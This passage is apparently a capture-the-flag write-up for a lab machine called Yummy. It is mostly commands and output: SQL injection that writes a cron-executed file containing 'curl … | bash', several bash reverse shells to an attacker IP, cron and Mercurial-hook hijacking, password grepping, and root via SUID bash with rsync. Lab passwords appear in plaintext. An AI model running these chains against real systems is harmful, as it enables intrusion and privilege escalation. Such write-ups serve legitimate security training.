/usr/bin/mysql -h localhost -u chef yummy_db -p'3wDo7gSRZIwIHRxZ!' < /data/scripts/sqlappointments.sql

And checking /data/scripts/sqlappointments.sql shows:

TRUNCATE table users;
TRUNCATE table appointments;
INSERT INTO appointments (appointment_email, appointment_name, appointment_date, appointment_time, appointment_people, appointment_message, role_id) VALUES ("chrisjohnson@email.net", "Chris Johnson", "2024-05-25", "11:45", "2", "No allergies, prefer table by the window", "customer");
<SNIP>

So this is the cronjob deleting users every 15 minutes.

And /data/scripts/dbmonitor.sh script, the other script, shows:

#!/bin/bash

timestamp=$(/usr/bin/date)
service=mysql
response=$(/usr/bin/systemctl is-active mysql)

if [ "$response" != 'active' ]; then
    /usr/bin/echo "{\"status\": \"The database is down\", \"time\": \"$timestamp\"}" > /data/scripts/dbstatus.json
    /usr/bin/echo "$service is down, restarting!!!" | /usr/bin/mail -s "$service is down!!!" root
    latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
    /bin/bash "$latest_version"
else
    if [ -f /data/scripts/dbstatus.json ]; then
        if grep -q "database is down" /data/scripts/dbstatus.json 2>/dev/null; then
            /usr/bin/echo "The database was down at $timestamp. Sending notification."
            /usr/bin/echo "$service was down at $timestamp but came back up." | /usr/bin/mail -s "$service was down!" root
            /usr/bin/rm -f /data/scripts/dbstatus.json
        else
            /usr/bin/rm -f /data/scripts/dbstatus.json
            /usr/bin/echo "The automation failed in some way, attempting to fix it."
            latest_version=$(/usr/bin/ls -1 /data/scripts/fixer-v* 2>/dev/null | /usr/bin/sort -V | /usr/bin/tail -n 1)
            /bin/bash "$latest_version"
        fi
    else
        /usr/bin/echo "Response is OK."
    fi
fi

[ -f dbstatus.json ] && /usr/bin/rm -f dbstatus.json

This script checks if MySQL is running. If not, it runs a file named fixer-v* at /data/scripts directory. The thing is it will execute the file fixer-v<number>, where <number> is the highest number. So if we have fixer-v1, fixer-v2 and fixer-v3 the cronjob will execute fixer-v3.

Hence the idea of writing a file named file-vZ (since uppercase letters will be stored at the very last) at /data/script and wait for the cronjob to execute it. First, we need to “corrupt” dbstatus.json. MySQL cannot overwrite files, but if we check /data/scripts/dbstatus.json this file does not exists, so we can write it visiting in the /admindashboard session:

http://yummy.htb/admindashboard?s=123&o=ASC;%20SELECT%20%27test%27%20INTO%20OUTFILE%20%27/data/scripts/dbstatus.json%27;--%20-

which is the url encoded SQL Injection|SQLi:

SELECT 'test' INTO OUTFILE '/data/scripts/dbstatus.json';-- -

The file has been apparently written:

❯ python3 lfi.py -e 'gunzf0x@gunzf0x.htb' -u 'gunzf0x' -p 'gunzf0x123!$' -f '/data/scripts/dbstatus.json'

<SNIP>
[+] Output obtained:

<!doctype html>
<html lang=en>
<title>500 Internal Server Error</title>
<h1>Internal Server Error</h1>
<p>The server encountered an internal error and was unable to complete your request. Either the server is overloaded or there is an error in the application.</p>

So let’s write both files required in the SQL payload:

; select 'test' INTO OUTFILE '/data/scripts/dbstatus.json'; select 'curl http://10.10.16.2:8000/rev.sh | bash' INTO OUTFILE '/data/scripts/fixer-v9999';-- -

where 10.10.16.2 is our attacker IP and 443 is the port we will start listening with netcat.

We urlencode this payload into Burpsuite, which generates the urlencoded-payload:

%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d

Create a simple rev.sh file with the content:

#!/bin/bash
bash -c 'bash -i >& /dev/tcp/10.10.16.2/443 0>&1'

assign to it execution permissions with chmod +x and expose it in a temporal Python HTTP server on port 8000 (executing python3 -m http.server 8000).

Therefore, we just visit http://yummy.htb/admindashboard?s=123&o=ASC<url-encoded-payload>, which in my case is:

http://yummy.htb/admindashboard?s=123&o=ASC%3b%20%73%65%6c%65%63%74%20%27%74%65%73%74%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%64%62%73%74%61%74%75%73%2e%6a%73%6f%6e%27%3b%20%73%65%6c%65%63%74%20%27%63%75%72%6c%20%68%74%74%70%3a%2f%2f%31%30%2e%31%30%2e%31%36%2e%32%3a%38%30%30%30%2f%72%65%76%2e%73%68%20%7c%20%62%61%73%68%27%20%49%4e%54%4f%20%4f%55%54%46%49%4c%45%20%27%2f%64%61%74%61%2f%73%63%72%69%70%74%73%2f%66%69%78%65%72%2d%76%39%39%39%39%27%3b%2d%2d%20%2d

in a web browser like Firefox.

After some time we get a request into our web server and the payload is executed. We get a shell as mysql user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 57734
bash: cannot set terminal process group (3704): Inappropriate ioctl for device
bash: no job control in this shell
mysql@yummy:/var/spool/cron$ whoami

whoami
mysql

We can now use the credentials found at app.py file:

mysql@yummy:/var/spool/cron$ mysql -u chef -p'3wDo7gSRZIwIHRxZ!' -h localhost yummy_db

<SNIP>
Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

mysql> use yummy_db;

Database changed

mysql> show tables;

+--------------------+
| Tables_in_yummy_db |
+--------------------+
| appointments       |
| users              |
+--------------------+
2 rows in set (0.00 sec)

mysql> select * from users;

Empty set (0.00 sec)

But besides data in the blog we don’t have more info. This is a rabbit hole.

We can then remember cronjobs found at /etc/crontab. /data/scripts/app_backup.sh was being run by www-data every second. I see if we can write over this file renaming it:

mysql@yummy:/var/spool/cron$ mv /data/scripts/app_backup.sh /data/scripts/app_backup_backup.sh

mysql@yummy:/var/spool/cron$ ls -la /data/scripts/app_backup*
-rw-r--r-- 1 root root 90 Sep 26 15:31 /data/scripts/app_backup_backup.sh

We can then replace /data/scripts/app_backup.sh by rev.sh we have created to get a new reverse shell:

mysql@yummy:/var/spool/cron$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/rev.sh

mysql@yummy:/var/spool/cron$ chmod +x /tmp/rev.sh

mysql@yummy:/var/spool/cron$ mv /tmp/rev.sh /data/scripts/app_backup.sh -f

mysql@yummy:/var/spool/cron$ cat /data/scripts/app_backup.sh

#!/bin/bash
bash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"

We start a new listener with netcat on port 443. After some time we get a new shell as www-data user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 56358
bash: cannot set terminal process group (4522): Inappropriate ioctl for device
bash: no job control in this shell
www-data@yummy:~$ whoami

whoami
www-data

Since we are now www-data we should look into /var/www. Looking there we have a directory called app-qatesting and also a hidden directory called .hg inside it:

ls -la /var/www/app-qatesting/.hg

total 64
drwxrwxr-x 6 qa       qa 4096 May 28 14:37 .
drwxrwx--- 7 www-data qa 4096 May 28 14:41 ..
-rw-rw-r-- 1 qa       qa   57 May 28 14:26 00changelog.i
-rw-rw-r-- 1 qa       qa    0 May 28 14:28 bookmarks
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 branch
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 cache
-rw-rw-r-- 1 qa       qa 7102 May 28 14:37 dirstate
-rw-rw-r-- 1 qa       qa   34 May 28 14:37 last-message.txt
-rw-rw-r-- 1 qa       qa   11 May 28 14:26 requires
drwxrwxr-x 4 qa       qa 4096 May 28 14:37 store
drwxrwxr-x 2 qa       qa 4096 May 28 14:28 strip-backup
-rw-rw-r-- 1 qa       qa    8 May 28 14:26 undo.backup.branch.bck
-rw-rw-r-- 1 qa       qa 7102 May 28 14:34 undo.backup.dirstate.bck
-rw-rw-r-- 1 qa       qa    9 May 28 14:37 undo.desc
drwxrwxr-x 2 qa       qa 4096 May 28 14:37 wcache

We look for passwords inside this directory using grep and we have something:

www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" .

grep -ir "password" .
grep: ./wcache/checkisexec: Permission denied
grep: ./store/data/app.py.i: binary file matches

Use -a along with grep to check content from the binary file containing the potential password:

www-data@yummy:~/app-qatesting/.hg$ grep -ir "password" . -a

grep -ir "password" . -a
grep: ./wcache/checkisexec: Permission denied
./store/data/app.py.i:    'password': '3wDo7gSRZIwIHRxZ!',
./store/data/app.py.i:    'password': 'jPAd!XQCtn8Oc@2B',

The first password is the same as the previously found at app.py, which we have also tested if worked for qa and dev user, but did not work. The second password is new.

We then use NetExec to check if this password works for qa and dev users:

❯ nxc ssh 10.10.11.36 -u 'dev' -p 'jPAd!XQCtn8Oc@2B'

SSH         10.10.11.36     22     10.10.11.36      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH         10.10.11.36     22     10.10.11.36      [-] dev:jPAd!XQCtn8Oc@2B

❯ nxc ssh 10.10.11.36 -u 'qa' -p 'jPAd!XQCtn8Oc@2B'

SSH         10.10.11.36     22     10.10.11.36      [*] SSH-2.0-OpenSSH_9.6p1 Ubuntu-3ubuntu13.5
SSH         10.10.11.36     22     10.10.11.36      [+] qa:jPAd!XQCtn8Oc@2B  Linux - Shell access!

The password worked for qa user.

Use this password and log in through SSH as qa user:

❯ sshpass -p 'jPAd!XQCtn8Oc@2B' ssh -o stricthostkeychecking=no qa@10.10.11.36

<SNIP>

qa@yummy:~$

We can get user flag at this user’s /home directory.


Root Link to heading

Checking what can this user run with sudo, it can run a binary called hg as dev user:

qa@yummy:~$ sudo -l

[sudo] password for qa: jPAd!XQCtn8Oc@2B
Matching Defaults entries for qa on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User qa may run the following commands on localhost:
    (dev : dev) /usr/bin/hg pull /home/dev/app-production/

It is a Python script:

qa@yummy:~$ file /usr/bin/hg

/usr/bin/hg: Python script, ASCII text executable

Reading it we get:

#! /usr/bin/python3
#
# mercurial - scalable distributed SCM
#
# Copyright 2005-2007 Olivia Mackall <olivia@selenic.com>
#
# This software may be used and distributed according to the terms of the
# GNU General Public License version 2 or any later version.

import os
import sys

libdir = '@LIBDIR@'

if libdir != '@' 'LIBDIR' '@':
    if not os.path.isabs(libdir):
        libdir = os.path.join(
            os.path.dirname(os.path.realpath(__file__)), libdir
        )
        libdir = os.path.abspath(libdir)
    sys.path.insert(0, libdir)

# Make `pip install --user ...` packages available to the official Windows
# build.  Most py2 packaging installs directly into the system python
# environment, so no changes are necessary for other platforms.  The Windows
# py2 package uses py2exe, which lacks a `site` module.  Hardcode it according
# to the documentation.
if getattr(sys, 'frozen', None) == 'console_exe':
    vi = sys.version_info
    appdata = os.environ.get('APPDATA')
    if appdata:
        sys.path.append(
            os.path.join(
                appdata,
                'Python',
                'Python%d%d' % (vi[0], vi[1]),
                'site-packages',
            )
        )

try:
    from hgdemandimport import tracing
except ImportError:
    sys.stderr.write(
        "abort: couldn't find mercurial libraries in [%s]\n"
        % ' '.join(sys.path)
    )
    sys.stderr.write("(check your install and PYTHONPATH)\n")
    sys.exit(-1)

with tracing.log('hg script'):
    # enable importing on demand to reduce startup time
    import hgdemandimport

    hgdemandimport.enable()

    from mercurial import dispatch

    dispatch.run()

After some research this script is a Python library for Mercurial:

Info
Mercurial is a distributed open source control (also known as “version control”) system written in Python for tracking and handling file modifications. Mercurial can be used as the version control system for Python projects.

It is an alternative to Git. We can get more info about it in its page and this one.

Unfortunately, there is not much clear documentation about it. But I was able to find this page explaining how to use this application. One thing that looks interesting is hooks:

Yummy 10

We can execute Python script or commands. The other one is:

Yummy 11

so we could pass this parameter as pre-pull (since this is the only command we can run as dev) into hook. But if we run it we don’t have a config file:

qa@yummy:~$ /usr/bin/hg config -l

abort: can't use --local outside a repository

So we go to /tmp and start a hg project there:

qa@yummy:~$ cd /tmp

qa@yummy:/tmp$ hg init

qa@yummy:/tmp$ hg config -l

We edit the file with nano and create the file:

[hook]
pre-pull = /tmp/evil.sh

and create the script that will be executed:

qa@yummy:/tmp$ echo -e '#!/bin/bash\nbash -c "bash -i >& /dev/tcp/10.10.16.2/443 0>&1"' > /tmp/evil.sh

qa@yummy:/tmp$ chmod +x /tmp/evil.sh

This script should send us a reverse shell when it is executed.

Assign permissions to .hg directory, start a listener with netcat and execute the payload:

qa@yummy:/tmp$ chmod -R 777 .hg

qa@yummy:/tmp$ sudo -u dev /usr/bin/hg pull /home/dev/app-production/

We get a connection as dev user:

❯ nc -lvnp 443

listening on [any] 443 ...
connect to [10.10.16.2] from (UNKNOWN) [10.10.11.36] 58430
I'm out of office until November  3th, don't call me
dev@yummy:/tmp$ whoami

whoami
dev

Checking what can this new user run with sudo we get:

dev@yummy:/tmp$ sudo -l

sudo -l
Matching Defaults entries for dev on localhost:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User dev may run the following commands on localhost:
    (root : root) NOPASSWD: /usr/bin/rsync -a --exclude\=.hg /home/dev/app-production/* /opt/app/

We can run Rsync as root without providing a password.

Info
Rsync is a free, command-line tool in Linux that transfers and synchronizes files between local and remote systems.

Basically, this command let us copy files, recursively, from /home/dev/app/production/* into /opt/app (excluding .hg files). Therefore, we can do the following:

  1. Make a copy of /bin/bash into /home/dev/app/production.
  2. Assign to this file SUID permissions. However, the owner will be dev.
  3. Use sudo command to change the owner to root using --chown flag (as can be seen in this post).
  4. Copy of /bin/bash will have SUID permissions, therefore we execute it with -p flag.

We need to do this all at once, since there was a cronjob constantly restoring the files. Therefore we execute:

dev@yummy:~$ cp /bin/bash /home/dev/app-production/bash && chmod u+s /home/dev/app-production/bash && sudo /usr/bin/rsync -a --exclude=.hg /home/dev/app-production/* --chown root:root /opt/app/ && /opt/app/bash -p

whoami
root

It worked. GG. We can read root flag at /root directory.

~Happy Hacking